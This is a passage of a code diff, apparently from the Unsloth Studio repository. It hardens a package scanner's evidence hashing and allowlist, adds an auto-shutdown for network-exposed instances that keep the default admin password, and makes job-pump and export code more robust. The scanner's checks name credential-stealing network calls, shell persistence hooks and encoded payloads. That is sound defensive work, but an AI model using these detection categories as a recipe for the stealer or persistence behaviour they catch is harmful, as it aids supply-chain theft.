so a closer that precedes the opener on the same line does not cancel it."""
depth = 0
hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1)
for j in range(start, hard + 1):
ln = view[j - 1]
left, right = _bracket_lr(ln)
depth = max(0, depth - left) + right
if ln.rstrip().endswith("\\"):
continue # explicit backslash continuation: the call (e.g. its `(` and
# URL/body) is on the next physical line, so do not close here
if depth <= 0:
return j
# Never closed within the hard limit: bind only the soft cap so a stray opener
# cannot bind a giant unrelated span.
return min(len(view), start + _MAX_CALL_LINES - 1)
def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int:
"""1-based line where the statement opened at ``start`` closes, so a multi-line
call binds its argument lines (a changed URL/body on a continuation line
reopens, not just the API line). Returns the LARGER of the spans found in the
single-line-blanked view (legacy: a payload embedded inside a string still
counts, so its brackets bind the call) and the multi-line-blanked view (a
bracket inside a triple-quoted string argument no longer closes the call
early). Taking the union never shrinks the bound span below either view, so
neither blanking strategy can drop a continuation line a malicious change
relies on."""
return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start))
def _extract_evidence(
content: str,
pattern: re.Pattern,
max_matches: int = 3,
max_matches: int = 0,
) -> str:
"""Pull matching lines as evidence snippets.
"""Pull matching lines as evidence snippets (``max_matches=0`` means all).
Falls back to a whole-content search when the pattern only matches across
line boundaries (several IOC regexes use ``re.DOTALL``). Without this an
anti-analysis / archive-staging finding could report empty evidence, making
the baseline entry impossible to review.
Records every matching line in full, not a truncated sample, so an extra
match (or extra code on a long line) appended to an already-flagged file
changes the evidence and the baseline key instead of riding the first few.
Leading whitespace is kept so a flagged line moved out of a guarded block
reads as changed. Each single-line match is extended over bracket
continuations so a multi-line call binds its argument lines too. Cross-line
matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line
construct appended under a check that already had a one-line match) are
recorded afterwards, so an added multiline payload reopens the finding. A
pathological greedy span is bounded to its head line plus a digest of the
rest.
"""
lines = content.splitlines()
matches = []
sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines]
ml_blanked = _blank_code_strings(lines)
out = []
seen: set[tuple[int, int]] = set()
# Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS
# rendered spans, every further span is folded straight into a running digest
# instead of being materialized and sliced off at the end. On a minified or
# padded file with hundreds of thousands of matching lines that keeps memory
# and work bounded to the display cap rather than the match count, while the
# digest still covers every overflow span so an over-cap payload change
# reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly
# (strip each span to its non-empty L<NN>-less code lines, join with "\n"), so
# the digest is identical to buffering the whole list and canonicalizing once.
overflow_count = 0
overflow_hash = hashlib.sha256()
overflow_started = False
def _emit(rendered: str) -> None:
nonlocal overflow_count, overflow_started
if len(out) < _MAX_EVIDENCE_SPANS:
out.append(rendered)
return
overflow_count += 1
for piece in _RE_EVIDENCE_SPLIT.split(rendered):
piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip()
if not piece:
continue
if overflow_started:
overflow_hash.update(b"\n")
overflow_hash.update(piece.encode("utf-8", "replace"))
overflow_started = True
def _render(start: int, end: int) -> str:
span = lines[start - 1 : end] or ["<multiline match>"]
if len(span) > _MAX_MULTILINE_LINES:
# Digest the code without the L<NN>: markers so a pure line shift of
# the same span stays stable while a code change still reopens. The
# head is truncated for display only; the span digest already binds
# its full content, so no per-line digest is needed here.
code = "\n".join(ln.rstrip() for ln in span)
digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
head = span[0].rstrip()
if len(head) > _MAX_LINE_CHARS:
head = head[:_MAX_LINE_CHARS] + "..."
return f"L{start}: {head} sha256:{digest}"
return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span))
for i, line in enumerate(lines, 1):
if pattern.search(line):
snippet = line.strip()
if len(snippet) > 160:
snippet = snippet[:160] + "..."
matches.append(f"L{i}: {snippet}")
if len(matches) >= max_matches:
break
if matches:
return " | ".join(matches)
# Multiline (DOTALL) match: report the line where the match begins.
m = pattern.search(content)
if m:
line_no = content.count("\n", 0, m.start()) + 1
snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else ""
if len(snippet) > 160:
snippet = snippet[:160] + "..."
return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: <multiline match>"
return ""
span = (i, _logical_line_end(sl_blanked, ml_blanked, i))
if span in seen:
continue
# Only track spans while still filling the display list: past the cap
# every span is folded into the overflow digest, so growing `seen` with
# all of them would keep memory proportional to the match count (the
# behavior this cap exists to bound) on a generated file with millions
# of one-line matches. The per-line spans are unique by line number, so
# dropping them from `seen` past the cap cannot cause a missed dedup
# here; at worst the fallback re-folds an over-cap span into the same
# digest, which stays deterministic and still reopens on a change.
if len(out) < _MAX_EVIDENCE_SPANS:
seen.add(span)
_emit(_render(*span))
if max_matches and len(out) >= max_matches:
return " | ".join(out)
# Precompute newline offsets once so mapping a match offset to its 1-based line
# is O(log n) (bisect) rather than O(n) (content.count) per match; the latter
# made this fallback quadratic on a minified file with thousands of matches.
nl = [p for p, ch in enumerate(content) if ch == "\n"]
for m in pattern.finditer(content):
start = bisect.bisect_left(nl, m.start()) + 1
end = bisect.bisect_left(nl, m.end()) + 1
if end <= start or (start, end) in seen:
continue # single-line matches are already covered by the pass above
# A giant greedy DOTALL span is bound by the full digest of its content
# (via _render, which renders a >12-line span as a head line plus a sha256
# of the whole span). Binding only the anchors leaves the bridged interior
# unhashed, so an attacker could insert a new cross-line payload (a `/tmp`
# line and a later `subprocess` line, sharing no single line so the
# per-line pass never binds them) between unchanged outer anchors and keep
# the same key. Digesting the interior reopens on any such change; a pure
# line shift stays stable because the digest is over the markerless code.
if len(out) < _MAX_EVIDENCE_SPANS:
seen.add((start, end))
_emit(_render(start, end))
if max_matches and len(out) >= max_matches:
break
if overflow_count:
# The overflow digest was accumulated from the canonicalized (L<NN>:-less)
# spans as they were emitted, so a pure line shift above the overflow
# region does not change it and reopen an otherwise-unchanged finding,
# matching the per-span key's line-shift stability.
out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
return " | ".join(out)
def _embedded_key_evidence(content: str) -> str:
"""Key evidence that also pins the full PEM block(s) via a digest, so a key
body swapped under the same BEGIN marker reopens the finding (single-line and
DER keys are already bound by their full matched line)."""
ev = _extract_evidence(content, RE_EMBEDDED_KEYS)
blocks = RE_PEM_BLOCK.findall(content)
if blocks:
digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest()
ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}"
return ev
def _blob_digest(content: str) -> tuple[str, str]:
"""First large blob (for display) plus a digest binding EVERY large blob, so
an appended or swapped encoded payload reopens the finding rather than riding
an unchanged first blob. Assumes at least one blob is present (single-blob
files keep the prior single-blob digest, so the baseline does not drift)."""
blobs = RE_LARGE_BLOB.findall(content)
digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest()
return blobs[0], digest
# Non-Python checkers
@ -1189,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"JS embeds credential regexes AND makes network calls (stealer)",
_extract_evidence(content, RE_TOKEN_REGEX),
f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
if has_workflow_inj:
@ -1202,17 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
_extract_evidence(content, RE_WORKFLOW_INJECT),
)
)
if is_large and not findings:
findings.append(
Finding(
HIGH,
package,
filename,
f"Python wheel ships large ({len(content) // 1024} KB) JS bundle "
"(uncommon; manually review)",
"",
# Pin the whole file's content digest to EVERY JS finding (not just large
# bundles). _extract_evidence blanks only Python string forms before counting
# brackets, so a JS backtick template literal that contains `)` can close a
# call's span early and omit the option/body lines that follow; binding the
# full content means a change to those omitted lines still reopens instead of
# riding the matched-line evidence. A large bundle with no other heuristic is a
# standalone HIGH.
if findings or is_large:
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
if findings:
for f in findings:
f.evidence = f"{f.evidence} bundle-sha256:{digest}"
else:
findings.append(
Finding(
HIGH,
package,
filename,
# Size stays out of the check label (from main) so the baseline
# key does not drift when a benign bundle grows; the full-content
# digest below still binds the bytes so a payload swap reopens.
"Python wheel ships large JS bundle (uncommon; manually review)",
f"sha256: {digest}",
)
)
)
return findings
@ -1232,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
if RE_DEV_TOOL_HIJACK.search(content) and (
RE_NETWORK.search(content) or RE_SUBPROCESS.search(content)
):
# Bind the hook AND the network/exec signal so a changed exfil reopens.
evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"]
if RE_NETWORK.search(content):
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if RE_SUBPROCESS.search(content):
evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}")
findings.append(
Finding(
CRITICAL,
@ -1239,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
filename,
"Shell installs developer-tool persistence hook (.bashrc / "
"profile.d / vscode tasks) AND has network or exec",
_extract_evidence(content, RE_DEV_TOOL_HIJACK),
"\n".join(evidence),
)
)
if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content):
@ -1249,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
package,
filename,
"Shell embeds credential regexes AND makes network calls",
_extract_evidence(content, RE_TOKEN_REGEX),
f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
if RE_WORKFLOW_INJECT.search(content):
@ -2516,9 +2895,9 @@ def _find_requirements_files(root: str) -> list[str]:
# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can
# enforce without drowning in legitimate-library noise. Matched on
# ``(package, basename(filename), check)`` -- not evidence text -- so a version
# bump does not reopen a finding, but a *new* kind of finding in a listed file
# is a different check and still fails. Regenerate with ``--write-baseline``.
# (package, package-relative file, check, evidence hash); the hash strips
# ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry,
# but changed flagged code does. Regenerate with ``--write-baseline``.
_DEFAULT_BASELINE_PATH = os.path.join(
os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json"
@ -2545,16 +2924,54 @@ def _relpath_in_package(filename: str) -> str:
return _RE_SDIST_ROOT.sub("", filename, count = 1)
def _finding_key(f: Finding) -> tuple[str, str, str]:
"""Stable allowlist key: normalized package, package-relative path, check.
# Evidence joins matched spans with " | " and a newline between labelled groups,
# each span tagged "L<NN>: ". Split only on those real delimiters (a " | " before
# a marker, or a newline), never on a bare "|" -- matched code may contain a
# bitwise-or or union type. The prefix strips only a genuine leading marker, an
# optional "Label: " then "L<NN>: "; a marker-like "L<NN>:" inside raw code (e.g.
# a .pth import line) has no leading marker and is left intact.
_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n")
_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?")
The package-relative path (not just basename) keeps the key stable across
version bumps while still distinguishing same-named files like ``utils.py``.
def _canon_evidence(evidence: str) -> str:
"""Matched code lines in discovery order (markers removed), duplicates kept.
Splits evidence on its real span delimiters, drops each span's leading
label / line-number marker, and keeps the code with its indentation. Line
shifts are absorbed by stripping the L<NN>: markers, not by sorting, so order
stays significant: reordering matched lines (executable context, e.g. the
arguments of a multi-line call) reopens the finding. Keeping duplicates means
an appended identical occurrence still changes the key."""
spans = []
for s in _RE_EVIDENCE_SPLIT.split(evidence or ""):
s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip()
if s:
spans.append(s)
return "\n".join(spans)
def _evidence_hash(evidence: str) -> str:
"""Stable digest of the canonical matched evidence."""
return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest()
def _finding_key(f: Finding) -> tuple[str, str, str, str]:
"""Allowlist key: package, package-relative path, check, evidence hash.
The evidence hash is over the set of matched code, so the key survives version
bumps, line shifts and reordering but reopens when the flagged code changes --
so a future payload in a baselined file/check is not auto-suppressed.
"""
return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check)
return (
_norm_pkg(f.package),
_relpath_in_package(f.filename),
f.check,
_evidence_hash(f.evidence),
)
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
try:
with open(path, "r", encoding = "utf-8") as fh:
@ -2564,19 +2981,47 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
except (OSError, json.JSONDecodeError) as exc:
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
return set()
keys: set[tuple[str, str, str]] = set()
for e in data.get("entries", []):
if not isinstance(data, dict):
print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)
return set()
entries = data.get("entries", [])
if not isinstance(entries, list):
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
return set()
keys: set[tuple[str, str, str, str]] = set()
legacy = 0
for e in entries:
if not isinstance(e, dict):
continue
try:
keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"]))
# Use the reviewed hash; else recompute it from the stored evidence.
evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
if not e.get("evidence_hash"):
legacy += 1
keys.add(
(
_norm_pkg(e["package"]),
_relpath_in_package(e["file"]),
e["check"],
evidence_hash,
)
)
except (KeyError, TypeError):
continue
if legacy:
print(
f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
f"not suppress until regenerated with --write-baseline (findings reopen "
f"rather than risk hiding changed code under a coarse key)",
file = sys.stderr,
)
return keys
def _write_baseline(path: str, findings: list[Finding]) -> None:
"""Persist CRITICAL/HIGH findings as an allowlist for human triage."""
entries = []
seen: set[tuple[str, str, str]] = set()
seen: set[tuple[str, str, str, str]] = set()
for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)):
if f.severity not in (CRITICAL, HIGH):
continue
@ -2590,15 +3035,18 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
"file": _relpath_in_package(f.filename),
"check": f.check,
"severity": f.severity,
"evidence": f.evidence[:240],
"evidence": f.evidence,
"evidence_hash": _evidence_hash(f.evidence),
}
)
doc = {
"_comment": (
"scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding "
"manually judged benign. Matched on (package, package-relative file, "
"check); evidence/severity are for review only. Regenerate with "
"--write-baseline AFTER reviewing every line."
"check, evidence_hash); evidence_hash is over the matched code with "
"L<NN>: markers stripped, so version bumps and line shifts do not "
"reopen an entry but changed code does. severity and evidence are for "
"review only. Regenerate with --write-baseline AFTER reviewing every line."
),
"version": 1,
"entries": entries,
@ -2610,7 +3058,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
def _partition_baseline(
findings: list[Finding], baseline: set[tuple[str, str, str]]
findings: list[Finding], baseline: set[tuple[str, str, str, str]]
) -> tuple[list[Finding], list[Finding]]:
"""Split findings into (active, suppressed) by allowlist membership."""
if not baseline:

800
scripts/scan_packages_baseline.json
View file

File diff suppressed because one or more lines are too long

11
studio/backend/auth/authentication.py
View file

@ -143,6 +143,17 @@ async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depend
)
async def authenticated_via_api_key(
credentials: HTTPAuthorizationCredentials = Depends(security),
) -> bool:
"""True when the caller used an sk-unsloth API key, not a UI session JWT.
Lets routes treat programmatic API callers differently from the Studio UI
(e.g. refuse a teardown the UI would allow).
"""
return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX))
async def get_current_subject_allow_password_change(
credentials: HTTPAuthorizationCredentials = Depends(security),
) -> str:

145
studio/backend/auth/bootstrap_timeout.py Normal file
View file

@ -0,0 +1,145 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Auto-shutdown for an exposed first-run Studio whose admin password is unchanged.
On a fresh install the seeded bootstrap admin password stays a valid login
credential until first login changes it. When the web UI is put on the network
(``--secure`` / ``0.0.0.0``) and nobody completes that first-login change within
a deadline, tear Studio down so a fresh, unconfigured instance does not stay
publicly reachable indefinitely. If the password was changed, Studio keeps
running.
Scope: web UI launches only (never ``--api-only``, which authenticates by API
key rather than the admin password, and never Colab). Configurable via
``UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT`` (seconds; default 3600; ``0`` disables).
"""
import os
import sys
import threading
BOOTSTRAP_TIMEOUT_ENV_VAR = "UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT"
DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS = 3600
def bootstrap_timeout_seconds(env = None) -> int:
"""Resolve the deadline in seconds. ``0`` (or invalid/negative) disables it.
A malformed value falls back to the default rather than disabling, so a typo
cannot silently remove the protection.
"""
env = os.environ if env is None else env
raw = env.get(BOOTSTRAP_TIMEOUT_ENV_VAR)
if raw is None or raw.strip() == "":
return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
try:
value = int(raw)
except ValueError:
return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
return value if value > 0 else 0
def _is_exposed_bind(host: str, secure: bool) -> bool:
"""True when this launch puts the web UI on the network (tunnel or non-loopback)."""
if secure:
return True
if host in ("0.0.0.0", "::"):
return True
try:
from utils.host_policy import is_external_host
except Exception:
return False
return bool(is_external_host(host))
def should_arm_bootstrap_timeout(
*,
host: str,
secure: bool,
api_only: bool,
frontend_served: bool,
is_colab: bool,
requires_change: bool,
timeout_seconds: int,
) -> bool:
"""Whether to arm the deadline: only for an exposed web UI whose seeded admin
password is still unchanged. Pure decision (no I/O) for cheap unit testing."""
if timeout_seconds <= 0:
return False
if api_only or not frontend_served or is_colab:
return False
if not requires_change:
return False
return _is_exposed_bind(host, secure)
def _format_duration(seconds: int) -> str:
"""Human-friendly duration for the shutdown message (seconds under a minute)."""
def _plural(n: int, unit: str) -> str:
return f"{n} {unit}{'' if n == 1 else 's'}"
if seconds < 60:
return _plural(seconds, "second")
minutes, rem = divmod(seconds, 60)
label = _plural(minutes, "minute")
if rem:
label += f" {_plural(rem, 'second')}"
return label
def enforce_bootstrap_password_deadline(
storage,
trigger_shutdown,
*,
timeout_seconds: int,
logger = None,
) -> bool:
"""Deadline handler: shut down iff the seeded admin password is still unchanged.
Returns True if it shut Studio down, False if it left it running (the
password was changed in time).
"""
try:
still_default = storage.requires_password_change(storage.DEFAULT_ADMIN_USERNAME)
except Exception:
return False
if not still_default:
return False # password changed in time -> leave Studio running
message = (
"\nUnsloth Studio was exposed on the network but its default admin "
f"password was not changed within {_format_duration(timeout_seconds)}. "
"Shutting down to avoid leaving an unsecured public instance running.\n"
"Next time, sign in and change the password on first login, or set "
f"{BOOTSTRAP_TIMEOUT_ENV_VAR}=0 to disable this timeout."
)
if logger is not None:
logger.warning(message)
print(message, file = sys.stderr, flush = True)
try:
trigger_shutdown()
except Exception as e: # shutdown is best-effort; never raise from the timer
if logger is not None:
logger.warning("Bootstrap-timeout shutdown failed: %s", e)
return True
def arm_bootstrap_timeout(
storage,
trigger_shutdown,
*,
timeout_seconds: int,
logger = None,
) -> "threading.Timer":
"""Start a daemon timer that enforces the deadline. Returns the Timer."""
timer = threading.Timer(
timeout_seconds,
enforce_bootstrap_password_deadline,
args = (storage, trigger_shutdown),
kwargs = {"timeout_seconds": timeout_seconds, "logger": logger},
)
timer.daemon = True
timer.start()
return timer

11
studio/backend/auth/storage.py
View file

@ -110,6 +110,17 @@ def get_connection() -> sqlite3.Connection:
except OSError:
pass
conn.row_factory = sqlite3.Row
# WAL lets token reads run concurrently with refresh-token writes;
# busy_timeout bounds lock waits. Matches the other Studio SQLite stores.
# Set busy_timeout first: switching journal_mode needs a lock, so if a
# refresh-token write already holds one, journal_mode=WAL raises SQLITE_BUSY;
# with busy_timeout already in effect it waits instead of failing and leaving
# this connection on SQLite's default zero lock wait.
try:
conn.execute("PRAGMA busy_timeout=5000")
conn.execute("PRAGMA journal_mode=WAL")
except sqlite3.Error:
pass
conn.execute(
"""
CREATE TABLE IF NOT EXISTS auth_user (

99
studio/backend/core/data_recipe/jobs/manager.py
View file

@ -28,6 +28,9 @@ from .constants import (
from .parse import apply_update, coerce_event, parse_log_message
from .types import Job
from .worker import run_job_process
from loggers import get_logger
logger = get_logger(__name__)
_CTX = mp.get_context("spawn")
@ -445,54 +448,86 @@ class JobManager:
events.append(coerce_event(q.get_nowait()))
except queue.Empty:
return events
except (EOFError, OSError, ValueError):
except Exception:
# Return what we have so the run still finalizes rather than wedging "active".
logger.exception(
"Data-recipe job pump: queue drain failed; finalizing with drained events"
)
return events
def _safe_handle_event(self, job: Job, event: dict) -> None:
"""Apply one event, swallowing any handler error so the pump can't die."""
try:
self._handle_event(job, event)
except Exception:
etype = event.get("type") if isinstance(event, dict) else type(event).__name__
logger.exception("Data-recipe job pump: failed to handle %s event; skipping", etype)
def _pump_loop(self) -> None:
"""Background thread: consumes worker events + updates job snapshot."""
"""Background thread: consume worker events and update the job snapshot.
Guarded so no single event can end the loop; it is the sole writer of the
snapshot the UI polls, so its death would freeze status/SSE.
"""
while True:
snap = self._snapshot()
if snap is None:
return
job, proc, mp_q = snap
event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25)
try:
event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25)
except Exception:
# If a read keeps raising after the worker died, finalize instead
# of spinning forever; only retry while the worker is still alive.
logger.exception("Data-recipe job pump: queue read failed; continuing")
if proc.is_alive():
time.sleep(0.1)
continue
event = None
if event is not None:
self._handle_event(job, event)
self._safe_handle_event(job, event)
continue
if proc.is_alive():
continue
for e in self._drain_queue(mp_q):
self._handle_event(job, e)
# Worker exited: drain + finalize, guarded so an error can't strand the run "active".
try:
for e in self._drain_queue(mp_q):
self._safe_handle_event(job, e)
retired_job: Job | None = None
with self._lock:
if self._job and self._job.status in {
"pending",
"active",
"cancelling",
}:
if self._job.status == "cancelling":
self._job.status = "cancelled"
else:
self._job.status = "error"
self._job.error = self._job.error or "process exited"
self._job.finished_at = time.time()
event_type = (
EVENT_JOB_CANCELLED if self._job.status == "cancelled" else EVENT_JOB_ERROR
)
self._emit(
{
"type": event_type,
"ts": time.time(),
"job_id": self._job.job_id,
}
)
retired_job = self._job
if retired_job is not None:
self._retire_workflow_key(retired_job)
retired_job: Job | None = None
with self._lock:
if self._job and self._job.status in {
"pending",
"active",
"cancelling",
}:
if self._job.status == "cancelling":
self._job.status = "cancelled"
else:
self._job.status = "error"
self._job.error = self._job.error or "process exited"
self._job.finished_at = time.time()
event_type = (
EVENT_JOB_CANCELLED
if self._job.status == "cancelled"
else EVENT_JOB_ERROR
)
self._emit(
{
"type": event_type,
"ts": time.time(),
"job_id": self._job.job_id,
}
)
retired_job = self._job
if retired_job is not None:
self._retire_workflow_key(retired_job)
except Exception:
logger.exception("Data-recipe job pump: finalization after worker exit failed")
return
def _handle_event(self, job: Job, event: dict) -> None:

362
studio/backend/core/export/export.py
View file

@ -13,7 +13,18 @@ import shutil
import contextlib
from pathlib import Path
from typing import Optional, Tuple, List
from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
# unsloth imports torch on non-MLX hosts, so a --no-torch install raises here. Stay importable
# (null the classes) so exports return a clean "PyTorch is not installed" error, not an import crash.
try:
from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
_UNSLOTH_IMPORT_ERROR = None
except Exception as _unsloth_exc: # ImportError (e.g. missing torch) or a broken native load
FastLanguageModel = None
FastVisionModel = None
_IS_MLX = False
_UNSLOTH_IMPORT_ERROR = _unsloth_exc
from huggingface_hub import HfApi, ModelCard
from utils.hardware import clear_gpu_cache
@ -27,17 +38,91 @@ from utils.paths import (
)
from core.inference import get_inference_backend
# GPU-only imports — guarded for Apple Silicon where these aren't needed
# GPU/PyTorch-only imports, skipped on MLX and on a --no-torch install so the module stays
# importable; export then degrades to a clear "PyTorch is not installed" error.
torch = None
_TORCH_IMPORT_ERROR: Optional[BaseException] = None
if not _IS_MLX:
from peft import PeftModel, PeftModelForCausalLM
from transformers.modeling_utils import PushToHubMixin
import torch
try:
from peft import PeftModel, PeftModelForCausalLM
from transformers.modeling_utils import PushToHubMixin
import torch
except Exception as _torch_exc: # ImportError, or a broken native torch load
_TORCH_IMPORT_ERROR = _torch_exc
logger = get_logger(__name__)
def _export_runtime_available() -> bool:
"""True if export can run: MLX active, or Unsloth imported (only succeeds on a GPU host)."""
return bool(_IS_MLX) or (FastLanguageModel is not None)
def _export_runtime_message() -> str:
"""Precise reason the export runtime is unavailable, mirroring hardware.export_capability()."""
if torch is None:
return (
"PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
"(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
)
return (
"Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported "
"accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export on "
"CPU only.)"
)
# Kept for call sites / tests referencing the PyTorch-missing text.
_PYTORCH_MISSING_MESSAGE = (
"PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
"(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
)
_LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False
def _supports_kwarg(fn, name):
"""True if `fn` accepts keyword `name` directly or via **kwargs."""
import inspect
try:
params = inspect.signature(fn).parameters
except (TypeError, ValueError):
return False
return name in params or any(p.kind == inspect.Parameter.VAR_KEYWORD for p in params.values())
def _compressed_export_supported():
"""True if the installed unsloth build can do FP8/NVFP4 compressed-tensors export."""
try:
import unsloth.save as _us
return hasattr(_us, "_normalize_compressed_method")
except Exception:
return False
def _torchao_export_supported():
"""True if the installed unsloth build has the portable torchao FP8/INT8 export path."""
try:
import unsloth.save as _us
return hasattr(_us, "_normalize_torchao_method")
except Exception:
return False
def _has_nvidia_gpu():
"""True only on a real NVIDIA CUDA box (not ROCm/XPU/CPU/MLX); compressed-tensors needs it."""
try:
from utils.hardware import hardware as _hw
return _hw.DEVICE == _hw.DeviceType.CUDA and not _hw.IS_ROCM
except Exception:
try:
import torch
return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None
except Exception:
return False
def _hf_offline(timeout = 3):
"""True if export should avoid the Hub: honors the HF offline env vars, else does one
cheap TCP reachability probe so a network-down load uses local files / the HF cache
@ -374,13 +459,17 @@ class ExportBackend:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
compressed_method: Optional[str] = None,
) -> Tuple[bool, str, Optional[str]]:
"""
Export merged model (for PEFT models).
Args:
save_directory: Local directory to save model
format_type: "16-bit (FP16)" or "4-bit (FP4)"
format_type: "16-bit (FP16)", "4-bit (FP4)", or a compressed-tensors label
compressed_method: Optional compressed-tensors scheme alias (e.g. "fp8",
"fp8_static", "w8a8", "w4a16", "mxfp4", "mxfp8", "nvfp4"). Overrides
format_type and is resolved against unsloth.save COMPRESSED_EXPORT_SCHEMES.
push_to_hub: Whether to push to Hugging Face Hub
repo_id: Hub repository ID (username/model-name)
hf_token: Hugging Face token
@ -389,27 +478,114 @@ class ExportBackend:
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
if not self.is_peft:
return (
False,
"This is not a PEFT model. Use 'Export Base Model' instead.",
None,
)
# Merged export works for PEFT adapters and non-PEFT Local/HF base models alike
# (save_pretrained_merged is a no-op merge that just saves the base).
output_path: Optional[str] = None
# Quantized formats save to a sibling "<dir>-<suffix>". Two backends: compressed-tensors
# (llm-compressor, NVIDIA-only) and portable torchao FP8/INT8 (device-agnostic). The alias
# comes from `compressed_method` (the "all formats" dropdown) or the `format_type` label.
_LABEL_TO_ALIAS = {
"FP8 (compressed-tensors)": "fp8",
"NVFP4 (compressed-tensors)": "nvfp4",
}
compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)
compressed_suffix: Optional[str] = None
# Classify the alias: torchao-portable vs compressed-tensors.
torchao_info = None
if compressed_alias and _torchao_export_supported():
try:
import unsloth.save as _us_t
torchao_info = _us_t._normalize_torchao_method(compressed_alias)
except Exception:
torchao_info = None
is_torchao = torchao_info is not None
is_compressed = compressed_alias is not None and not is_torchao
try:
if _IS_MLX and (is_compressed or is_torchao):
return (
False,
"Quantized (FP8/FP4/INT) export is not supported on macOS/MLX. "
"Use 16-bit or GGUF.",
None,
)
if is_torchao:
# Portable torchao: no NVIDIA GPU, no calibration.
compressed_suffix = torchao_info[1]
if is_compressed:
# compressed-tensors needs CUDA; enforce in the backend even if the UI gate is bypassed.
if not _has_nvidia_gpu():
return (
False,
"Compressed-tensors (FP8/FP4) export requires an NVIDIA GPU. On other "
"hardware use the portable FP8/INT8 (torchao) formats or 16-bit.",
None,
)
if not _compressed_export_supported():
return (
False,
"Compressed-tensors (FP8/FP4) export requires an Unsloth build with "
"compressed-tensors support. Upgrade unsloth, or choose 16-bit.",
None,
)
import unsloth.save as _us
# Prefer the llm-compressor-main shadow (transformers 5.x): it quantizes newer models
# (Qwen3.5, Gemma-4, ...) the shipped 0.10.x cannot. Route all compressed exports
# through it when available; else fall back to the workspace 0.10.x path below.
_shadow_pp = None
try:
from utils.transformers_version import llmcompressor_shadow_pythonpath
_shadow_pp = llmcompressor_shadow_pythonpath()
except Exception as e:
